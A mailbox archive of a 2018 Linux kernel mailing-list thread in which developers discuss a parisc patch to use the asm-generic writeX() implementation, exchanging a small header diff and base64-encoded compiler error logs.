 Thunderbird/52.7.0
Cc: linux-parisc@vger.kernel.org,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>, linux-arm-msm@vger.kernel.org,
 Helge Deller <deller@gmx.de>, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 linux-kernel@vger.kernel.org, Philippe Ombredanne <pombredanne@nexb.com>,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infradead.org
To: Sinan Kaya <okaya@codeaurora.org>, linux-parisc@linux-mips.org,
 arnd@arndb.de, timur@codeaurora.org, sulrich@codeaurora.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Apr 17 01:07:57 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1f8DE2-0002gu-Bu
	for linux-arm-kernel@m.gmane.org; Tue, 17 Apr 2018 01:07:54 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:
	Content-Transfer-Encoding:Cc:List-Subscribe:List-Help:List-Post:List-Archive:
	List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:Message-ID:From:
	References:To:Subject:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=sLfXeJqMkIaQk1iPxjTEn1ku7hwROqh6XboRnQNxUjU=; b=FsJWZkp4eJ0TyGRlBvRxmpUkO
	4cOnNyCXZFlk1lS50uRxFw+8/uBC08gw8bAcLNicD+gxVNC83BbkIntxSi7NHVex1j6VZM4x/J3Do
	wvdwTFs01y88xQgLLP9+LRPO6yz3oOc9OWqA6cFiGC1s7aptWMM8iSBt0pfhUc4OHQyxYabyddMuP
	okrI/YpI7jpmjCSOKxWFIlFsoIuRZImx/ypl3EdYPadW8oIZ++c8ktXYLB2gyVaUfXw8CEeNPyEX4
	PjWqOIknErf2t80aH3/5zogn4xpicU2VxsLMqW7lC+Ls9s+m+uqzu6HFK3dgDR9rWYO75XfCeXKmb
	f9bv9yb3g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f8DG4-0002FZ-Av; Mon, 16 Apr 2018 23:10:00 +0000
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]
 helo=torfep01.bell.net)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f8DG0-000277-0g
 for linux-arm-kernel@lists.infradead.org; Mon, 16 Apr 2018 23:09:57 +0000
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
 with ESMTP
 id <20180416230943.OCYY3030.torfep01.bell.net@torspm01.bell.net>
 for <linux-arm-kernel@lists.infradead.org>;
 Mon, 16 Apr 2018 19:09:43 -0400
Original-Received: from [192.168.2.49] (really [69.158.175.55]) by torspm01.bell.net
 with ESMTP
 id <20180416230943.UEJY26298.torspm01.bell.net@[192.168.2.49]>;
 Mon, 16 Apr 2018 19:09:43 -0400
In-Reply-To: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=JtkelIwC c=1 sm=0 tr=0
 a=V8DPTAhloC/wURew+oITug==:17 a=IkcTkHD0fZMA:10 a=Kd1tUaAdevIA:10
 a=FBHGMhGWAAAA:8 a=M82E00bDOwz00zPftycA:9 a=QEXdDO2ut3YA:10
 a=9gvnlMMaQFpL9xblJ6ne:22
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180416_160956_190967_EEBA7021 
X-CRM114-Status: GOOD (  11.00  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [184.150.200.207 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 UNPARSEABLE_RELAY Informational: message has unparseable relay lines
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:643994 gmane.linux.ports.parisc:28492 gmane.linux.ports.arm.msm:33923 gmane.linux.kernel:2742626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/643994>

T24gMjAxOC0wNC0xNiA2OjAxIFBNLCBTaW5hbiBLYXlhIHdyb3RlOgo+IHBhcmlzYyBhcmNoaXRl
Y3R1cmUgc2VlbXMgdG8gYmUgbWFwcGluZyB3cml0ZVgoKSBhbmQgd3JpdGVYX3JlbGF4ZWQoKSBB
UElzCj4gdG8gX19yYXdfd3JpdGVYKCkgQVBJLgo+Cj4gX19yYXdfd3JpdGVYKCkgQVBJIGRvZXNu
J3QgcHJvdmlkZSBhbnkga2luZCBvZiBvcmRlcmluZyBndWFyYW50ZWVzLgo+IGNvbW1pdCA3NTVi
ZDA0YWFmNGIgKCJpbzogZGVmaW5lIHN0cm9uZ2VyIG9yZGVyaW5nIGZvciB0aGUgZGVmYXVsdCB3
cml0ZVgoKQo+IGltcGxlbWVudGF0aW9uIikgY2hhbmdlZCBhc20tZ2VuZXJpYyBpbXBsZW1lbnRh
dGlvbiB0byB1c2UgYSBtb3JlCj4gY29uc2VydmF0aXZlIGFwcHJvYWNoIHRvd2FyZHMgdGhlIHdy
aXRlWCgpIEFQSS4KPgo+IERyb3AgdGhlIGFyY2ggc3BlY2lmaWMgdmVyc2lvbiBhbmQgcmVseSBv
biB0aGUgYXNtLWdlbmVyaWMgdmVyc2lvbiBmb3IKPiBwYXJpc2Mgc2luY2UgcGFyaXNjIHZlcnNp
b24gZG9lc24ndCBzZWVtIHRvIGRvIGFueXRoaW5nIHNwZWNpYWwgd2l0aCB0aGVzZQo+IG1hY3Jv
cy4KIMKgIEhPU1RMRMKgIHNjcmlwdHMvbW9kL21vZHBvc3QKSW4gZmlsZSBpbmNsdWRlZCBmcm9t
IC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzOjAsCiDCoMKgwqDCoMKgwqDC
oMKgwqDCoMKgwqDCoMKgwqDCoCBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJkaXJxLmg6OSwKIMKg
wqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVsL2Fz
bS1vZmZzZXRzLmM6MzQ6Ci4vaW5jbHVkZS9saW51eC9pcnEuaDogSW4gZnVuY3Rpb24gJ2lycV9y
ZWdfd3JpdGVsJzoKLi9pbmNsdWRlL2xpbnV4L2lycS5oOjExMTQ6MzogZXJyb3I6IGltcGxpY2l0
IGRlY2xhcmF0aW9uIG9mIGZ1bmN0aW9uIAond3JpdGVsJyBbLVdlcnJvcj1pbXBsaWNpdC1mdW5j
dGlvbi1kZWNsYXJhdGlvbl0KIMKgwqAgd3JpdGVsKHZhbCwgZ2MtPnJlZ19iYXNlICsgcmVnX29m
ZnNldCk7CiDCoMKgIF5+fn5+fgouL2luY2x1ZGUvbGludXgvaXJxLmg6IEluIGZ1bmN0aW9uICdp
cnFfcmVnX3JlYWRsJzoKLi9pbmNsdWRlL2xpbnV4L2lycS5oOjExMjM6MTA6IGVycm9yOiBpbXBs
aWNpdCBkZWNsYXJhdGlvbiBvZiBmdW5jdGlvbiAKJ3JlYWRsJyBbLVdlcnJvcj1pbXBsaWNpdC1m
dW5jdGlvbi1kZWNsYXJhdGlvbl0KIMKgwqAgcmV0dXJuIHJlYWRsKGdjLT5yZWdfYmFzZSArIHJl
Z19vZmZzZXQpOwogwqDCoMKgwqDCoMKgwqDCoMKgIF5+fn5+CmNjMTogc29tZSB3YXJuaW5ncyBi
ZWluZyB0cmVhdGVkIGFzIGVycm9ycwptYWtlWzFdOiAqKiogW0tidWlsZDo1ODogYXJjaC9wYXJp
c2Mva2VybmVsL2FzbS1vZmZzZXRzLnNdIEVycm9yIDEKCkRhdmUKCi0tIApKb2huIERhdmlkIEFu
Z2xpbiAgZGF2ZS5hbmdsaW5AYmVsbC5uZXQKCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fXwpsaW51eC1hcm0ta2VybmVsIG1haWxpbmcgbGlzdApsaW51eC1h
cm0ta2VybmVsQGxpc3RzLmluZnJhZGVhZC5vcmcKaHR0cDovL2xpc3RzLmluZnJhZGVhZC5vcmcv
bWFpbG1hbi9saXN0aW5mby9saW51eC1hcm0ta2VybmVsCg==


From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] parisc: use the asm-generic version for writeX()
Date: Mon, 16 Apr 2018 19:15:37 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <a7b59f43-cea5-0ead-f528-61899570e353@codeaurora.org>
References: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
 <a727e74f-610c-4722-76e9-c1aca2f9e9bd@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1523920423 992 195.159.176.226 (16 Apr 2018 23:13:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Apr 2018 23:13:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>, arnd@arndb.de,
        timur@codeaurora.org, sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 01:13:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8DJZ-0007Qy-3n
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 01:13:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751970AbeDPXPn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 16 Apr 2018 19:15:43 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:37132 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751010AbeDPXPl (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Apr 2018 19:15:41 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 0CDA260A00; Mon, 16 Apr 2018 23:15:40 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523920541;
        bh=0dVQ/50ETs//Etzalf0jbAfPwoiyFqSdDWx2QE2bJ4g=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=HOxBbfEVwNV1M+s3rxAv3BBSIoFOPGE6/MzPZJU7WWPIz8qILi4+NH8Ql1FYn3Eae
         E+EyHMqy9og9Z78ufIawgT2R9LpcXXcv+TqwgqHlDxgsET6ATLAt7PFlhsvlbyOPCj
         gVP1LnX8OJFLJagJ684Z/O1oQjeHKNqH6jLOrGxs=
Original-Received: from [10.235.228.150] (global_nat1_iad_fw.qualcomm.com [129.46.232.65])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id 8F97F60310;
        Mon, 16 Apr 2018 23:15:38 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523920540;
        bh=0dVQ/50ETs//Etzalf0jbAfPwoiyFqSdDWx2QE2bJ4g=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=ZvbPYexCZ/5xOzjlZIelMd2zsmLv4yx71qVUaflgoiJPukIiM70n/u/qzfKUkXqUt
         4nsxSalpykZ58it0D4l7rH+ON09/3OJbDjDQqW0QygbPcAPxKp+BtiL9I5qrYWLKMN
         XMWGAkhhsFBpE/T3TlWiSycECh2KaK59AYFMS5X0=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org 8F97F60310
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
In-Reply-To: <a727e74f-610c-4722-76e9-c1aca2f9e9bd@bell.net>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742638 gmane.linux.ports.arm.msm:33924 gmane.linux.ports.arm.kernel:643996 gmane.linux.ports.parisc:28493
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742638>

On 4/16/2018 7:09 PM, John David Anglin wrote:
> On 2018-04-16 6:01 PM, Sinan Kaya wrote:
>> parisc architecture seems to be mapping writeX() and writeX_relaxed() APIs
>> to __raw_writeX() API.
>>
>> __raw_writeX() API doesn't provide any kind of ordering guarantees.
>> commit 755bd04aaf4b ("io: define stronger ordering for the default writeX()
>> implementation") changed asm-generic implementation to use a more
>> conservative approach towards the writeX() API.
>>
>> Drop the arch specific version and rely on the asm-generic version for
>> parisc since parisc version doesn't seem to do anything special with these
>> macros.
>   HOSTLD  scripts/mod/modpost
> In file included from ./arch/parisc/include/asm/hardirq.h:13:0,
>                  from ./include/linux/hardirq.h:9,
>                  from arch/parisc/kernel/asm-offsets.c:34:
> ./include/linux/irq.h: In function 'irq_reg_writel':
> ./include/linux/irq.h:1114:3: error: implicit declaration of function 'writel' [-Werror=implicit-function-declaration]
>    writel(val, gc->reg_base + reg_offset);
>    ^~~~~~
> ./include/linux/irq.h: In function 'irq_reg_readl':
> ./include/linux/irq.h:1123:10: error: implicit declaration of function 'readl' [-Werror=implicit-function-declaration]
>    return readl(gc->reg_base + reg_offset);
>           ^~~~~
> cc1: some warnings being treated as errors
> make[1]: *** [Kbuild:58: arch/parisc/kernel/asm-offsets.s] Error 1
> 
> Dave
> 

Thanks for testing. Can you add this on top and see if it helps?

--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -259,6 +259,7 @@ extern void outsl (unsigned long port, const void *src, unsigned long count);
  * value for either 32 or 64 bit mode */
 #define F_EXTEND(x) ((unsigned long)((x) | (0xffffffff00000000ULL)))
 
+#include <asm-generic/io.h>
 #include <asm-generic/iomap.h>


-- 
Sinan Kaya
Qualcomm Datacenter Technologies, Inc. as an affiliate of Qualcomm Technologies, Inc.
Qualcomm Technologies, Inc. is a member of the Code Aurora Forum, a Linux Foundation Collaborative Project.


From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] parisc: use the asm-generic version for writeX()
Date: Mon, 16 Apr 2018 19:37:53 -0400
Lines: 750
Approved: news@gmane.org
Message-ID: <7a9d139e-978b-750d-1bac-8b27e934f781@bell.net>
References: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
 <a727e74f-610c-4722-76e9-c1aca2f9e9bd@bell.net>
 <a7b59f43-cea5-0ead-f528-61899570e353@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------2B4D016953CBDDA819BFD479"
X-Trace: blaine.gmane.org 1523921764 22155 195.159.176.226 (16 Apr 2018 23:36:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Apr 2018 23:36:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Sinan Kaya <okaya@codeaurora.org>, arnd@arndb.de,
        timur@codeaurora.org, sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 01:35:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8DfA-0005Yq-1e
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 01:35:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751927AbeDPXh7 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 16 Apr 2018 19:37:59 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:38660 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751159AbeDPXh5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Apr 2018 19:37:57 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180416233755.GNMV32387.torfep02.bell.net@torspm01.bell.net>;
          Mon, 16 Apr 2018 19:37:55 -0400
Original-Received: from [192.168.2.49] (really [69.158.175.55]) by torspm01.bell.net
          with ESMTP
          id <20180416233755.UKID26298.torspm01.bell.net@[192.168.2.49]>;
          Mon, 16 Apr 2018 19:37:55 -0400
In-Reply-To: <a7b59f43-cea5-0ead-f528-61899570e353@codeaurora.org>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=T8Zjd7CQ c=1 sm=0 tr=0 a=V8DPTAhloC/wURew+oITug==:17 a=Kd1tUaAdevIA:10 a=r77TgQKjGQsHNAKrUKIA:9 a=FBHGMhGWAAAA:8 a=4ecA6_h1R9hIhTaAhcUA:9 a=QEXdDO2ut3YA:10 a=KZ1MURO_mA0b2OlgXQMA:9 a=jHgzpwVyrusA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742644 gmane.linux.ports.arm.msm:33925 gmane.linux.ports.arm.kernel:643999 gmane.linux.ports.parisc:28494
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742644>

This is a multi-part message in MIME format.
--------------2B4D016953CBDDA819BFD479
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit

On 2018-04-16 7:15 PM, Sinan Kaya wrote:
> Thanks for testing. Can you add this on top and see if it helps?
>
> --- a/arch/parisc/include/asm/io.h
> +++ b/arch/parisc/include/asm/io.h
> @@ -259,6 +259,7 @@ extern void outsl (unsigned long port, const void *src, unsigned long count);
>    * value for either 32 or 64 bit mode */
>   #define F_EXTEND(x) ((unsigned long)((x) | (0xffffffff00000000ULL)))
>   
> +#include <asm-generic/io.h>
>   #include <asm-generic/iomap.h>
Still lots of problems.

Dave

-- 
John David Anglin  dave.anglin@bell.net


--------------2B4D016953CBDDA819BFD479
Content-Type: text/plain; charset=UTF-8;
 name="io.log"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="io.log"

ICBDQyAgICAgIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20tb2Zmc2V0cy5zCkluIGZpbGUgaW5j
bHVkZWQgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2lvLmg6MjYyOjAsCiAgICAg
ICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaW8uaDoyNSwKICAgICAgICAgICAg
ICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBm
cm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAg
ICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAg
ICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vaW5jbHVk
ZS9hc20tZ2VuZXJpYy9pby5oOjM3OjIxOiBlcnJvcjogcmVkZWZpbml0aW9uIG9mICdfX3Jh
d19yZWFkYicKICNkZWZpbmUgX19yYXdfcmVhZGIgX19yYXdfcmVhZGIKICAgICAgICAgICAg
ICAgICAgICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDozODoxODogbm90ZTogaW4g
ZXhwYW5zaW9uIG9mIG1hY3JvICdfX3Jhd19yZWFkYicKIHN0YXRpYyBpbmxpbmUgdTggX19y
YXdfcmVhZGIoY29uc3Qgdm9sYXRpbGUgdm9pZCBfX2lvbWVtICphZGRyKQogICAgICAgICAg
ICAgICAgICBefn5+fn5+fn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9pbmNsdWRlL2xp
bnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9p
cnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9h
c20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4
L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAgIGZyb20gYXJjaC9wYXJpc2Mva2VybmVs
L2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaW8uaDoxNDY6
Mjk6IG5vdGU6IHByZXZpb3VzIGRlZmluaXRpb24gb2YgJ19fcmF3X3JlYWRiJyB3YXMgaGVy
ZQogc3RhdGljIGlubGluZSB1bnNpZ25lZCBjaGFyIF9fcmF3X3JlYWRiKGNvbnN0IHZvbGF0
aWxlIHZvaWQgX19pb21lbSAqYWRkcikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICBe
fn5+fn5+fn5+fgpJbiBmaWxlIGluY2x1ZGVkIGZyb20gLi9hcmNoL3BhcmlzYy9pbmNsdWRl
L2FzbS9pby5oOjI2MjowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4
L2lvLmg6MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaXJxLmg6
MjUsCiAgICAgICAgICAgICAgICAgZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2hh
cmRpcnEuaDoxMywKICAgICAgICAgICAgICAgICBmcm9tIC4vaW5jbHVkZS9saW51eC9oYXJk
aXJxLmg6OSwKICAgICAgICAgICAgICAgICBmcm9tIGFyY2gvcGFyaXNjL2tlcm5lbC9hc20t
b2Zmc2V0cy5jOjM0OgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo0NToyMTogZXJyb3I6
IHJlZGVmaW5pdGlvbiBvZiAnX19yYXdfcmVhZHcnCiAjZGVmaW5lIF9fcmF3X3JlYWR3IF9f
cmF3X3JlYWR3CiAgICAgICAgICAgICAgICAgICAgIF4KLi9pbmNsdWRlL2FzbS1nZW5lcmlj
L2lvLmg6NDY6MTk6IG5vdGU6IGluIGV4cGFuc2lvbiBvZiBtYWNybyAnX19yYXdfcmVhZHcn
CiBzdGF0aWMgaW5saW5lIHUxNiBfX3Jhd19yZWFkdyhjb25zdCB2b2xhdGlsZSB2b2lkIF9f
aW9tZW0gKmFkZHIpCiAgICAgICAgICAgICAgICAgICBefn5+fn5+fn5+fgpJbiBmaWxlIGlu
Y2x1ZGVkIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lvLmg6MjU6MCwKICAgICAgICAgICAgICAg
ICBmcm9tIC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9t
IC4vYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAg
ICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAg
IGZyb20gYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vYXJjaC9wYXJp
c2MvaW5jbHVkZS9hc20vaW8uaDoxNTA6MzA6IG5vdGU6IHByZXZpb3VzIGRlZmluaXRpb24g
b2YgJ19fcmF3X3JlYWR3JyB3YXMgaGVyZQogc3RhdGljIGlubGluZSB1bnNpZ25lZCBzaG9y
dCBfX3Jhd19yZWFkdyhjb25zdCB2b2xhdGlsZSB2b2lkIF9faW9tZW0gKmFkZHIpCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIF5+fn5+fn5+fn5+CkluIGZpbGUgaW5jbHVkZWQg
ZnJvbSAuL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2lvLmg6MjYyOjAsCiAgICAgICAgICAg
ICAgICAgZnJvbSAuL2luY2x1ZGUvbGludXgvaW8uaDoyNSwKICAgICAgICAgICAgICAgICBm
cm9tIC4vaW5jbHVkZS9saW51eC9pcnEuaDoyNSwKICAgICAgICAgICAgICAgICBmcm9tIC4v
YXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vaGFyZGlycS5oOjEzLAogICAgICAgICAgICAgICAg
IGZyb20gLi9pbmNsdWRlL2xpbnV4L2hhcmRpcnEuaDo5LAogICAgICAgICAgICAgICAgIGZy
b20gYXJjaC9wYXJpc2Mva2VybmVsL2FzbS1vZmZzZXRzLmM6MzQ6Ci4vaW5jbHVkZS9hc20t
Z2VuZXJpYy9pby5oOjUzOjIxOiBlcnJvcjogcmVkZWZpbml0aW9uIG9mICdfX3Jhd19yZWFk
bCcKICNkZWZpbmUgX19yYXdfcmVhZGwgX19yYXdfcmVhZGwKICAgICAgICAgICAgICAgICAg
ICAgXgouL2luY2x1ZGUvYXNtLWdlbmVyaWMvaW8uaDo1NDoxOTogbm90ZTogaW4gZXhwYW5z
aW9uIG9mIG1hY3JvICdfX3Jhd19yZWFkbCcKIHN0YXRpYyBpbmxpbmUgdTMyIF9fcmF3X3Jl
YWRsKGNvbnN0IHZvbGF0aWxlIHZvaWQgX19pb21lbSAqYWRkcikKICAgICAgICAgICAgICAg
ICAgIF5+fn5+fn5+fn5+CkluIGZpbGUgaW5jbHVkZWQgZnJvbSAuL2luY2x1ZGUvbGludXgv
aW8uaDoyNTowLAogICAgICAgICAgICAgICAgIGZyb20gLi9pbmNsdWRlL2xpbnV4L2lycS5o
